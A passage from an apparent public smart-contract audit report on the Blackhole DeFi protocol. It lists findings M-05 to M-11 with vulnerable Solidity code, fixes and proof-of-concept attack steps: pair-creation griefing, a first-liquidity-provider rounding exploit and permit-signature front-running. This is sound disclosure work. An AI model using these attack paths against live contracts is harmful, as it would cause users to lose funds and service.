if(_locked.end < block.timestamp && !_locked.isPermanent){
    address _nftOwner = IVotingEscrow(_voting_escrow).ownerOf(_tokenId);
    IERC20(token).transfer(_nftOwner, amount);
} else {
    IVotingEscrow(_voting_escrow).deposit_for(_tokenId, amount);
}
```

Impact

This inconsistency has significant impact for users who have delegated their tokens to the AVM system:

1. Users who have expired locks and whose tokens are managed by AVM will lose their rewards if `claim_many()` is called instead of `claim()`.
2. The rewards will be sent to the AVM contract, which has no mechanism to forward these tokens to their rightful owners.
3. This results in permanent loss of rewards for affected users.
4. Since `claim_many()` is more gas efficient for claiming multiple tokens, it's likely to be frequently used, increasing the likelihood and impact of this issue.

Recommended mitigation steps

1. Add the AVM check to the `claim_many()` function to match the behavior in `claim()`:

```
if(_locked.end < block.timestamp && !_locked.isPermanent){
    address _nftOwner = IVotingEscrow(_voting_escrow).ownerOf(_tokenId);
    if (address(avm) != address(0) && avm.tokenIdToAVMId(_tokenId) != 0)
{
        _nftOwner = avm.getOriginalOwner(_tokenId);
    }
    IERC20(token).transfer(_nftOwner, amount);
} else {
    IVotingEscrow(_voting_escrow).deposit_for(_tokenId, amount);
}
```

2. For better code maintainability, consider refactoring the owner resolution logic to a separate internal function:

```
function _getRewardRecipient(uint256 _tokenId) internal view returns
(address) {
    address _nftOwner = IVotingEscrow(voting_escrow).ownerOf(_tokenId);
    if (address(avm) != address(0) && avm.tokenIdToAVMId(_tokenId) != 0)
{
        _nftOwner = avm.getOriginalOwner(_tokenId);
    }
    return _nftOwner;
}
```

Then, use this function in both `claim()` and `claim_many()` to ensure consistent behavior.

Proof of Concept

Scenario:

1. User A delegates their tokenId #123 to the AVM system.
2. The lock for tokenId #123 expires.
3. Someone calls `claim(123)`:
    - AVM check triggers and rewards go to User A (correct behavior)
4. Someone calls `claim_many([123])`:
    - No AVM check happens, rewards go to the AVM contract (incorrect behavior)
5. User A permanently loses their rewards.

[Blackhole mitigated]

Status: Mitigation confirmed. Full details in reports from [rayss] and [maxvzuvex].

[M-05] Griefing attack on `GenesisPoolManager.sol::depositNativeToken` leading to Denial of Service

Submitted by FavourOkerri, also found by AvantGard

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/factories/GenesisPoolFactory.sol#L56-L67

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/factories/PairFactory.sol#L139-L151

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/GenesisPoolManager.sol#L100-L116

Finding description

The process of depositing native token to a Genesis Pool is vulnerable to a griefing attack, leading to a denial of service (DoS) for legitimate pool creations.

The vulnerability arises from the interaction of the following factors:

- Public information: The `nativeToken` and `fundingToken` addresses intended for a new Genesis Pool become public information when the `GenesisPoolFactory.createGenesisPool` transaction enters the mempool or through the `GenesisCreated` event it emits.
- Unrestricted pair creation: The `pairFactory.createPair` function allows any external actor to create a new liquidity pair for any given tokenA, tokenB, and stable combination, provided a pair for that combination doesn't already exist.

```
function createPair(address tokenA, address tokenB, bool stable) external
returns (address pair) {
        require(tokenA != tokenB, "IA"); // Pair: IDENTICAL_ADDRESSES
        (address token0, address token1) = tokenA < tokenB ? (tokenA,
tokenB) : (tokenB, tokenA);
        require(token0 != address(0), "ZA"); // Pair: ZERO_ADDRESS
        require(getPair[token0][token1][stable] == address(0), "!ZA");
        pair = IPairGenerator(pairGenerator).createPair(token0, token1,
stable);
        getPair[tokenA][tokenB][stable] = pair;
        getPair[tokenB][tokenA][stable] = pair; // Store in reverse
direction
        allPairs.push(pair);
```

```
        isPair[pair] = true;

        emit PairCreated(token0, token1, stable, pair, allPairs.length);
    }
```

- Vulnerable validation: In `GenesisPoolManager.depositNativeToken()`, the protocol checks whether the pair already exists. If so, it requires that both token balances in the pair are zero — but does not verify whether the pair was created by the protocol itself.

```
function depositNativeToken(
        address nativeToken,
        uint256 auctionIndex,
        GenesisInfo calldata genesisPoolInfo,
        TokenAllocation calldata allocationInfo
    ) external nonReentrant returns (address genesisPool) {
        //.................code

        address pairAddress = pairFactory.getPair(nativeToken,
_fundingToken, _stable);
        if (pairAddress != address(0)) {
            require(IERC20(nativeToken).balanceOf(pairAddress) == 0,
"!ZV");
            require(IERC20(_fundingToken).balanceOf(pairAddress) == 0,
"!ZV");
        }
       //.......................more code
```

Attack Scenario:

An attacker can observe a pending `createGenesisPool` transaction (or the `GenesisCreated` event). The attacker can:

- Call `pairFactory.createPair(nativeToken, fundingToken, stable)` to create a new, empty LP pair for the target tokens.
- Immediately after, transfer a minimal non-zero amount (e.g., 1 wei) of both `nativeToken` and `fundingToken` directly to this newly created pair contract address.

Impact

When the legitimate `depositNativeToken` transaction executes, `pairFactory.getPair` will return the attacker's pair address. The `require(IERC20(token).balanceOf(pairAddress) == 0, "!ZV");` checks will then fail because the pair now holds a non-zero balance of tokens. This causes the legitimate `depositNativeToken` transaction to revert, resulting in:

- Denial of Service (DoS): Legitimate projects are repeatedly blocked from launching their intended Genesis Pools.
- Griefing: An attacker can perform this attack with minimal gas cost, making it a highly effective and low-cost method to disrupt the protocol's core functionality.

Recommended mitigation steps

Add pair ownership or Origin validation. Instead of just checking `balance == 0`, validate that your protocol created the pair, or that the pair was expected.

Blackhole mitigated

Status: Unmitigated. Full details in reports from rayss, lonelybones and maxvzuvex, and also included in the Mitigation Review section below.

[M-06] First liquidity provider can DOS the pool of a stable pair

Submitted by ZZhelev, also found by cu5t0mpeo

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/Pair.sol#L481

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/Pair.sol#L344

Finding description

Rounding errors in the calculation of the invariant `k` can result in zero value for stable pools, allowing malicious actors to DOS the pool.

In the `Pair` contract, the invariant `k` of a stable pool is calculated as follows:

```
function _k(uint x, uint y) internal view returns (uint) {
       if (stable) {
           uint _x = (x * 1e18) / decimals0;
           uint _y = (y * 1e18) / decimals1;
   @>>     uint _a = (_x * _y) / 1e18;
           uint _b = ((_x * _x) / 1e18 + (_y * _y) / 1e18);
           return (_a * _b) / 1e18; // x3y+y3x >= k
       } else {
           return x * y; // xy >= k
       }
   }
```

The value of `_a = (x * y) / 1e18` becomes zero due to rounding errors when `x * y < 1e18`. This rounding error can result in the invariant k of stable pools equaling zero, allowing a trader to steal the remaining assets in the pool. A malicious first liquidity provider can DOS the pair by:

- Minting a small amount of liquidity to the pool.
- Stealing the remaining assets in the pool.
- Repeating steps 1 and 2 until the total supply overflows.

Impact

Pool will be DOSsed for other users to use.

Recommended mitigation steps

```
function mint(address to) external lock returns (uint liquidity) {
        (uint _reserve0, uint _reserve1) = (reserve0, reserve1);
        uint _balance0 = IERC20(token0).balanceOf(address(this));
        uint _balance1 = IERC20(token1).balanceOf(address(this));
        uint _amount0 = _balance0 - _reserve0;
        uint _amount1 = _balance1 - _reserve1;

        uint _totalSupply = totalSupply; // gas savings, must be defined
here since totalSupply can update in _mintFee
        if (_totalSupply == 0) {
            liquidity = Math.sqrt(_amount0 * _amount1) -
MINIMUM_LIQUIDITY;
            _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the
first MINIMUM_LIQUIDITY tokens
+           if (stable) { require(_k(_amount0, _amount1) > MINIMUM_K; }
        } else {
            liquidity = Math.min(
                (_amount0 * _totalSupply) / _reserve0,
                (_amount1 * _totalSupply) / _reserve1
            );
        }
        require(liquidity > 0, "ILM"); // Pair:
INSUFFICIENT_LIQUIDITY_MINTED
        _mint(to, liquidity);

        _update(_balance0, _balance1, _reserve0, _reserve1);
        emit Mint(msg.sender, _amount0, _amount1);
    }
```

Proof of Concept

▶ Details

[Blackhole mitigated]

Status: Mitigation confirmed. Full details in reports from [maxvzuvex] and [rayss].

The sponsor team requested that the following note be included:

This issue originates from the upstream codebase, inherited from ThenaV2 fork. Given that ThenaV2 has successfully operated at scale for several months without incident, we assess the severity of this issue as low. The implementation has been effectively battle-tested in a production environment, which significantly reduces the practical risk associated with this finding. Reference: [https://github.com/ThenafiBNB/THENA-Contracts/blob/main/contracts/Pair.sol#L344]

[M-07] `isGenesis` flag is ineffective to control add liquidity flow in `RouterV2.addLiquidity()`

Submitted by [maxzuvex]

[https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/RouterV2.sol#L384]

Finding description

The check that prevents external liquidity additions to "Genesis Pool" pairs before their official launch are insufficient. The `RouterV2.addLiquidity()` check can be bypassed once any LP tokens exist (even dust) and `Pair.mint()` also has no `isGenesis` check at all, letting direct initial liquidity supply. This damages the controlled launch, let potential price manipulation and launch disruption and clearly stated intended behaviour.

1. `RouterV2.addLiquidity` **guard issue:**

```
// contracts/RouterV2.sol
function addLiquidity(...) external ensure(deadline) returns ... {
    ...
    require(!(IBaseV1Factory(factory).isGenesis(pair) &&
IBaseV1Pair(pair).totalSupply() == 0), "NA");
    _safeTransferFrom(tokenA, msg.sender, pair, amountA);
    _safeTransferFrom(tokenB, msg.sender, pair, amountB);
    liquidity = IBaseV1Pair(pair).mint(to);
}
```

- If `isGenesis(pair)` is true and `totalSupply()` is 0, the inner condition `(true && true)` is true. The `require(!true)` fails, correctly blocking.

- Once `totalSupply > 0` (for example after official GenesisPool launch, or a prior dust minting by an attacker), this check becomes `require(!(true && false))` which is `require(true)`, allowing anyone to add liquidity using the router if the `isGenesis` flag hasn't been cleared yet.
- This means if `isGenesis` flag is not set to false immediately before the GenesisPool contract calls `addLiquidity`, then after the GenesisPool successfully adds its liquidity (making `totalSupply > 0`), any subsequent call to `RouterV2.addLiquidity()` for that pair would pass the check, letting external LPs in prematurely.

2. `Pair.mint()` **is not restricted:**

```
// contracts/Pair.sol:
function mint(address to) external lock returns (uint liquidity) {
     (uint _reserve0, uint _reserve1) = (reserve0, reserve1);
     uint _balance0 = IERC20(token0).balanceOf(address(this));
     uint _balance1 = IERC20(token1).balanceOf(address(this));
     uint _amount0 = _balance0 - _reserve0;
     uint _amount1 = _balance1 - _reserve1;

     uint _totalSupply = totalSupply; // gas savings, must be defined
here since totalSupply can update in _mintFee
     if (_totalSupply == 0) {
         liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
         _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the
first MINIMUM_LIQUIDITY tokens
     } else {
         liquidity = Math.min(_amount0 * _totalSupply / _reserve0,
_amount1 * _totalSupply / _reserve1);
     }
     require(liquidity > 0, 'ILM'); // Pair:
INSUFFICIENT_LIQUIDITY_MINTED
     _mint(to, liquidity);

     _update(_balance0, _balance1, _reserve0, _reserve1);
     emit Mint(msg.sender, _amount0, _amount1);
 }
```

- `Pair.sol::mint()` does not have any `isGenesis` status check.
- An attacker can transfer minimal `token0` and `token1` to a Genesis pair (where `isGenesis == true` and `totalSupply == 0`) and call `mint()` directly.

- This mints LP tokens, makes `totalSupply > 0`, and bypasses the (already weak) `RouterV2.addLiquidity` guard for that pair.

Impact

The impact isn't a direct loss of deposited funds but is a significant disruption to a core protocol mechanism, potentially leading to unfair advantages, poor launch conditions for projects, and reduced trust. This fits a Medium severity: "*Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions*".

This is also clearly against this statement in `contract diff / Liquidity Pool / PairFactory`: "*When a pair gets listed as Genesis Pool until it's not successfully launched noone should be able to add liquidity so we're using this* `isGenesis` *flag to control add liquidity flow*"

Recommended mitigation steps

1. In `RouterV2.addLiquidity` block if the pair is a Genesis Pool, regardless of `totalSupply`.

```
- require(!(IBaseV1Factory(factory).isGenesis(pair) &&
IBaseV1Pair(pair).totalSupply() == 0), "NA");
+ require(!IBaseV1Factory(factory).isGenesis(pair),
"GENESIS_POOL_LIQUIDITY_LOCKED");
```

2. Restrict `Pair.mint()` for genesis pairs by adding a check in `Pair.sol::mint()`:

```
function mint(address to) external lock returns (uint liquidity) {
+   require(!PairFactory(factory).isGenesis(address(this)),
"GENESIS_POOL_MINT_LOCKED");
    // ... existing mint logic ...
}
```

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from rayss and maxvzuvex.

[M-08] Function return variable shadowing prevents storage updates in solidity

Submitted by a39955720, also found by Ekene

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/AlgebraCLVe33/GaugeCL.sol#L38

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/AlgebraCLVe33/GaugeCL.sol#L157-L183

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/AlgebraCLVe33/GaugeCL.sol#L257-L259

Finding description

The `GaugeCL::notifyRewardAmount` function attempts to update the `rewardRate` state variable, which is meant to track the reward emission rate for the current distribution period. However, the function declares a return variable named `rewardRate` (as part of the function's return signature), which **shadows** the contract-level storage variable. As a result, assignments within the function update only the local return variable, and the **contract's storage `rewardRate` is never updated**.

This leads to the reward rate always remaining at its initial value (`0`), and any queries to `rewardForDuration()` or other on-chain users referencing `rewardRate` will receive inaccurate results.

```
// @audit-issue Storage rewardRate is shadowed and never updated
function notifyRewardAmount(address token, uint256 reward)
    external nonReentrant isNotEmergency onlyDistribution
    returns (IncentiveKey memory incentivekey, uint256 rewardRate,
uint128 bonusRewardRate)
{
    ...
    if (block.timestamp >= _periodFinish) {
        rewardRate = reward / DURATION;
    } else {
        uint256 remaining = _periodFinish - block.timestamp;
        uint256 leftover = remaining * rewardRate;
        rewardRate = (reward + leftover) / DURATION;
    }
    ...
}
```

Issue identified

- The function's return signature declares a local variable `rewardRate`, which **shadows** the contract's storage variable of the same name.
- All assignments to `rewardRate` within the function only affect this local variable, not the contract storage.
- The contract storage variable `rewardRate` remains **permanently zero**, and is never updated by any function in the contract.
- Consequently, the function `rewardForDuration()` always returns `0`, misleading dApps, explorers, and UIs that rely on this state variable for reward calculations.

Risk and impact

Likelihood:

- This is a deterministic bug and will always occur if the function signature is not fixed.
- Any user or protocol that queries `rewardForDuration()` or the public `rewardRate` will receive incorrect values.

Impact:

- Protocol dashboards, explorers, or analytic scripts may display incorrect or misleading reward information.
- Third-party tools or automated scripts that rely on on-chain `rewardRate` data could behave incorrectly.
- Does **not** directly cause loss of funds or user assets, but can lead to confusion or improper reward tracking.

Recommended mitigation steps

Rename the function return variable to avoid shadowing, or directly assign to the storage variable inside the function:

```
function notifyRewardAmount(address token, uint256 reward)
    external
    nonReentrant
    isNotEmergency
    onlyDistribution
-   returns (IncentiveKey memory incentivekey, uint256 rewardRate,
uint128 bonusRewardRate)
+   returns (IncentiveKey memory, uint256, uint128)
{
    require(token == address(rewardToken), "not rew token");
    if (block.timestamp >= _periodFinish) {
        rewardRate = reward / DURATION;
    } else {
        uint256 remaining = _periodFinish - block.timestamp;
```

```
            uint256 leftover = remaining * rewardRate;
            rewardRate = (reward + leftover) / DURATION;
        }
        _periodFinish = block.timestamp + DURATION;
        (IERC20Minimal rewardTokenAdd, IERC20Minimal bonusRewardTokenAdd,
IAlgebraPool pool, uint256 nonce) =
            algebraEternalFarming.incentiveKeys(poolAddress);
-       incentivekey = IncentiveKey(rewardTokenAdd, bonusRewardTokenAdd,
pool, nonce);
+       IncentiveKey memory incentivekey = IncentiveKey(rewardTokenAdd,
bonusRewardTokenAdd, pool, nonce);
        bytes32 incentiveId = IncentiveId.compute(incentivekey);

        (,, address virtualPoolAddress,,,) =
algebraEternalFarming.incentives(incentiveId);
-       (,bonusRewardRate) =
IAlgebraEternalVirtualPool(virtualPoolAddress).rewardRates();
+       (,uint128 bonusRewardRate) =
IAlgebraEternalVirtualPool(virtualPoolAddress).rewardRates();

        rewardToken.safeTransferFrom(DISTRIBUTION, address(this), reward);
        IERC20(token).safeApprove(farmingParam.algebraEternalFarming,
reward);
        algebraEternalFarming.addRewards(incentivekey, uint128(reward), 0);
        emit RewardAdded(reward);
+       return(incentivekey, rewardRate, bonusRewardRate);
    }
```

Proof of Concept

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;

contract ShadowedStorageExample {
    uint256 public rewardRate;

    function incrementRewardRate(uint256 amount) public returns (uint256
rewardRate) {
        rewardRate += amount;
    }
}
```

No matter how you call `incrementRewardRate` with different values, the storage variable `rewardRate` will **never change.** This is because the function's return variable `rewardRate`

shadows the contract's storage variable of the same name.

All updates inside the function only affect the local return variable, not the storage. As a result, `rewardRate()` (the public getter) will always return `0`, regardless of how many times you call the function or what arguments you provide.

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from lonelybones, rayss and maxvzuvex.

[M-09] Zero-receiver fund burn

Submitted by 0x15

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/RouterV2.sol#L499-L530

Finding description and impact

The `RouterV2` implementation has a fundamental flaw where tokens are burned to the zero address instead of being sent to the intended recipient.

The route struct includes a receiver field that defaults to `address(0)` when not explicitly set:

```
struct route {
        address pair;
        address from;
        address to;
        bool stable;
        bool concentrated;
        address receiver;
    }
```

In the `_swap` function, both swap paths use `routes[i].receiver` as the destination.

For concentrated pools, it's used as the recipient parameter:

```
recipient: routes[i].receiver
```

For standard pools, it's used in the swap call:

```
IBaseV1Pair(pairFor(routes[i].from, routes[i].to,
routes[i].stable)).swap(
```

```
                    amount0Out, amount1Out, routes[i].receiver, new
bytes(0)
                );
```

The critical issue is in how routes are constructed.

In `swapExactTokensForTokensSimple` routes are created with only `from`, `to`, `stable`, and `concentrated` fields set, but the receiver field is never populated:

```
route[] memory routes = new route[](1);
        routes[0].from = tokenFrom;
        routes[0].to = tokenTo;
        routes[0].stable = stable;
        routes[0].concentrated = concentrated;
```

In `swapExactTokensForTokens` routes are passed directly from users who build them without setting the receiver field:

```
 function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        route[] calldata routes,
        address to,
        uint deadline
    ) external ensure(deadline) returns (uint[] memory amounts) {
```

Both functions pass the `_to` parameter to `_swap`, but it's never used - the function only uses `routes[i].receiver`:

```
function _swap(uint[] memory amounts, route[] memory routes, address _to)
internal virtual {
        for (uint i = 0; i < routes.length; i++) {
            if(routes[i].concentrated){
                if (IERC20(routes[i].from).allowance(address(this),
swapRouter) < amounts[i]) {
                    IERC20(routes[i].from).approve(swapRouter,
amounts[i]);
                }
                ISwapRouter.ExactInputSingleParams memory inputParams;
                inputParams = ISwapRouter.ExactInputSingleParams ({
                    tokenIn: routes[i].from,
                    tokenOut: routes[i].to,
```

```
                    deployer:
IAlgebraPoolAPIStorage(algebraPoolAPIStorage).pairToDeployer(routes[i].pa
ir),
                    recipient: routes[i].receiver,
                    deadline: block.timestamp + 600,
                    amountIn: amounts[i],
                    amountOutMinimum: 0,
                    limitSqrtPrice: 0
                });

                amounts[i+1] =
ISwapRouter(swapRouter).exactInputSingle(inputParams);
            }
            else{
                (address token0,) = sortTokens(routes[i].from,
routes[i].to);
                uint amountOut = amounts[i + 1];
                (uint amount0Out, uint amount1Out) = routes[i].from ==
token0 ? (uint(0), amountOut) : (amountOut, uint(0));
                IBaseV1Pair(pairFor(routes[i].from, routes[i].to,
routes[i].stable)).swap(
                    amount0Out, amount1Out, routes[i].receiver, new
bytes(0)
                );
            }

            emit Swap(msg.sender, amounts[i], routes[i].from,
routes[i].receiver, routes[i].stable);
        }
    }
```

This results in 100% loss of user funds as all swapped tokens are sent to `address(0)` and permanently burned. Every swap transaction through these functions will fail to deliver tokens to users.

Note: The API helper does correctly set receiver addresses in its `_createRoute` function:

```
 function _createRoute(address pair, address from, address to, bool
isBasic, uint amountOut, address _receiver, uint160 sqrtPriceAfter)
internal view returns (route memory) {
        return route({
            pair: pair,
            from: from,
            to: to,
            stable: isBasic ? IPair(pair).isStable() : false,
```

```
            concentrated: !isBasic,
            amountOut: amountOut,
            receiver: _receiver,
            sqrtPriceAfter: sqrtPriceAfter
        });
```

However, this only applies to routes created through the API layer, not direct router calls by users.

Recommended mitigation steps

The fix is to properly set receiver addresses for multi-hop routing.

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from lonelybones, rayss and maxvzuvex.

[M-10] ERC-2612 permit front-running in RouterV2 enables DoS of liquidity operations

Submitted by PolarizedLight

The `removeLiquidityWithPermit()` and `removeLiquidityETHWithPermit()` functions in RouterV2 are vulnerable to front-running attacks that consume user permit signatures, causing legitimate liquidity removal transactions to revert and resulting in gas fee losses and a DOS.

Finding description

The RouterV2 contract implements ERC-2612 permit functionality without protection against front-running attacks. The vulnerability stems from the deterministic nature of permit signatures and the lack of error handling when permit calls fail.

This vulnerability follows a well-documented attack pattern that has been extensively researched. According to Trust Security's comprehensive disclosure in January 2024: https://www.trust-security.xyz/post/permission-denied

"Consider, though, a situation where permit() is part of a contract call:

```
function deposit(uint256 amount, bytes calldata _signature) external {
    // This will revert if permit() was front-run
    token.permit(msg.sender, address(this), amount, deadline, v, r, s);
    // User loses this functionality when permit fails
    stakingContract.deposit(msg.sender, amount);
}
```

This function deposits in a staking contract on behalf of the user. But what if an attacker extracts the _signature parameters from the `deposit()` call and frontruns it with a direct `permit()`? In this case, the end result is harmful, since the user loses the functionality that follows the `permit()`."
In RouterV2's `removeLiquidityWithPermit()` follows this exact vulnerable pattern:

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/RouterV2.sol#L475-L475

```
IBaseV1Pair(pair).permit(msg.sender, address(this), value, deadline, v,
r, s);
// User loses liquidity removal functionality when permit fails
(amountA, amountB) = removeLiquidity(tokenA, tokenB, stable, liquidity,
amountAMin, amountBMin, to, deadline);
```

As Trust Security formally identified: **"In fact, any function call that unconditionally performs `permit()` can be forced to revert this way."**

The root cause of the issue within the blackhole protocol is that RouterV2 makes unprotected external calls to LP token permit functions without any fallback mechanism or error handling:

```
// Line 475 - No error handling
IBaseV1Pair(pair).permit(msg.sender, address(this), value, deadline, v,
r, s);
```

This creates a systematic vulnerability where any permit-based transaction can be griefed by extracting and front-running the permit signature.

Code Location

- `RouterV2.sol#L475` - `removeLiquidityWithPermit()` function
- `RouterV2.sol#L493` - `removeLiquidityETHWithPermit()` function

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/RouterV2.sol#L475-L475

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/RouterV2.sol#L493

Impact

This vulnerability enables attackers to systematically deny service to users attempting to remove liquidity through permit-based functions, resulting in direct financial losses and protocol dysfunction.

- Users lose transaction fees (typically `$5-50` per transaction depending on network congestion) when their transactions revert.
- Users must pay additional gas for traditional approve+remove patterns.
- Liquidity removal becomes unreliable, forcing users to abandon efficient permit-based operations.

Attack Prerequisites:

- Minimal: Attacker needs only basic mempool monitoring capability and gas fees.
- No special permissions or large capital requirements.
- Attack can be automated and executed repeatedly.
- Works against any user attempting permit-based operations.

Recommended mitigation steps

Implement a different method of permit handling by wrapping the permit call in a try-catch block and only reverting if both the permit fails and the current allowance is insufficient for the operation.

```
function removeLiquidityWithPermit(
    address tokenA,
    address tokenB,
    bool stable,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
    address pair = pairFor(tokenA, tokenB, stable);
    uint value = approveMax ? type(uint).max : liquidity;

    // Try permit, but don't revert if it fails
    try IBaseV1Pair(pair).permit(msg.sender, address(this), value,
deadline, v, r, s) {
        // Permit succeeded
    } catch {
        // Permit failed, check if we have sufficient allowance
```

```
            require(
                IBaseV1Pair(pair).allowance(msg.sender, address(this)) >=
liquidity,
                "Insufficient allowance"
            );
        }

        (amountA, amountB) = removeLiquidity(tokenA, tokenB, stable,
liquidity, amountAMin, amountBMin, to, deadline);
    }
```

This approach follows the industry-standard mitigation pattern that successfully resolved this vulnerability across 100+ affected codebases.

Proof of Concept

Theoretical attack walkthrough:

1. **Setup Phase:**
    - Alice holds 1000 LP tokens in pair `0xABC...`
    - Alice wants to remove liquidity efficiently using `removeLiquidityWithPermit()`
    - Bob (attacker) monitors the mempool for permit-based transactions
2. **Signature Creation:**
    - Alice creates permit signature: `permit(alice, routerV2, 1000, deadline, nonce=5)`
    - Signature parameters: `v=27, r=0x123..., s=0x456...`
3. **Transaction Submission:**
    - Alice submits: `removeLiquidityWithPermit(tokenA, tokenB, false, 1000, 950, 950, alice, deadline, false, 27, 0x123..., 0x456...)`
    - Transaction enters mempool with 20 gwei gas price
4. **Front-Running Execution:**
    - Bob extracts parameters from Alice's pending transaction
    - Bob submits direct call: `IBaseV1Pair(0xABC...).permit(alice, routerV2, 1000, deadline, 27, 0x123..., 0x456...)` with 25 gwei gas
    - Bob's transaction mines first, consuming Alice's nonce (nonce becomes 6)
5. **Victim Transaction Failure:**
    - Alice's transaction executes but fails at line 475
    - RouterV2 calls `permit()` with already-used signature
    - LP token rejects due to invalid nonce (expects 6, gets signature for nonce 5)
    - Entire transaction reverts with "Invalid signature" or similar error

6. **Attack Result:**
    - Alice loses ~$15 in gas fees (failed transaction cost)
    - Alice cannot remove liquidity via permit method
    - Bob spent ~$3 in gas to grief Alice
    - Attack can be repeated indefinitely against any permit user

Impact Example:

- During high network activity (50+ gwei), failed transactions cost $25-75 each
- Systematic attacks against 100 users = $2,500-7,500 in direct user losses
- No recourse for affected users; losses are permanent

Blackhole mitigated

Status: Unmitigated. Full details in reports from rayss and lonelybones, and also included in the Mitigation Review section below.

[M-11] Incorrect function call in `BribeFactoryV3 recoverERC20AndUpdateData`

Submitted by Egbe, also found by NexusAudits

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/factories/BribeFactoryV3.sol#L209-L219

Finding description

The `recoverERC20AndUpdateData` function in the `BribeFactoryV3` contract incorrectly calls `emergencyRecoverERC20` instead of `recoverERC20AndUpdateData` on the `IBribe` interface. This misnamed function call results in the failure to update the `tokenRewardsPerEpoch` mapping in the `Bribe` contract, which is critical for maintaining accurate reward accounting.

Root Cause

In `BribeFactoryV3.sol`, the `recoverERC20AndUpdateData` function is defined as follows:

```
function recoverERC20AndUpdateData(address[] memory _bribe, address[]
memory _tokens, uint[] memory _amounts) external onlyOwner {
    uint i = 0;
    require(_bribe.length == _tokens.length, 'MISMATCH_LEN');
    require(_tokens.length == _amounts.length, 'MISMATCH_LEN');

    for(i; i < _bribe.length; i++){
        if(_amounts[i] > 0)
IBribe(_bribe[i]).emergencyRecoverERC20(_tokens[i], _amounts[i]);
    }
```

```
}
```

The function calls `IBribe(_bribe[i]).emergencyRecoverERC20` instead of `IBribe(_bribe[i]).recoverERC20AndUpdateData`. The correct function, `recoverERC20AndUpdateData` in the `Bribe` contract, updates the `tokenRewardsPerEpoch` mapping to reflect the recovered tokens:

```
function recoverERC20AndUpdateData(address tokenAddress, uint256
tokenAmount) external onlyAllowed {
    require(tokenAmount <= IERC20(tokenAddress).balanceOf(address(this)),
"TOO_MUCH");

    uint256 _startTimestamp = IMinter(minter).active_period() + WEEK;
    uint256 _lastReward = tokenRewardsPerEpoch[tokenAddress]
[_startTimestamp];
    tokenRewardsPerEpoch[tokenAddress][_startTimestamp] = _lastReward -
tokenAmount;
    IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
    emit Recovered(tokenAddress, tokenAmount);
}
```

In contrast, `emergencyRecoverERC20` only transfers tokens without updating the mapping:

```
function emergencyRecoverERC20(address tokenAddress, uint256 tokenAmount)
external onlyAllowed {
    require(tokenAmount <= IERC20(tokenAddress).balanceOf(address(this)),
"TOO_MUCH");
    IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
    emit Recovered(tokenAddress, tokenAmount);
}
```

Impact

Incorrect reward accounting - failing to update `tokenRewardsPerEpoch` can lead to over-distribution of rewards. Users may claim rewards based on outdated values, potentially draining the `Bribe` contract's token balance.

Recommended mitigation steps

Update the function Call in `BribeFactoryV3`:

Modify the `recoverERC20AndUpdateData` function in `BribeFactoryV3.sol` to call the correct `recoverERC20AndUpdateData` function.

Proof of Concept

```
const { expect } = require("chai");
const { ethers, upgrades } = require("hardhat");
const { ZERO_ADDRESS } = require("@openzeppelin/test-
helpers/src/constants.js");

describe("BribeFactoryV3 Recovery Functions", function () {
    let bribeFactory;
    let mockToken;
    let bribe;
    let owner;
    let voter;
    let gaugeManager;
    let permissionsRegistry;
    let tokenHandler;
    let mockVoter;
    let mockGaugeManager;
    let mockTokenHandler;
    let mockVe;
    let mockMinter;

    beforeEach(async function () {
        // Get signers
        [owner, voter, gaugeManager, permissionsRegistry, tokenHandler] =
await ethers.getSigners();

        // Deploy mock token
        const MockToken = await ethers.getContractFactory("MockERC20");
        mockToken = await MockToken.deploy("Mock Token", "MTK", 18);
        await mockToken.deployed();

        // Deploy mock Voter
        const MockVoter = await ethers.getContractFactory("MockVoter");
        mockVoter = await MockVoter.deploy();
        await mockVoter.deployed();

        // Deploy mock GaugeManager
        const MockGaugeManager = await
ethers.getContractFactory("MockGaugeManager");
        mockGaugeManager = await MockGaugeManager.deploy();
        await mockGaugeManager.deployed();

        // Deploy mock TokenHandler
        const MockTokenHandler = await
ethers.getContractFactory("MockTokenHandler");
```

```
        mockTokenHandler = await MockTokenHandler.deploy();
        await mockTokenHandler.deployed();

        // Deploy mock VotingEscrow
        const MockVotingEscrow = await
ethers.getContractFactory("MockVotingEscrow");
        mockVe = await MockVotingEscrow.deploy();
        await mockVe.deployed();

        // Deploy mock Minter
        const MockMinter = await ethers.getContractFactory("MockMinter");
        mockMinter = await MockMinter.deploy();
        await mockMinter.deployed();

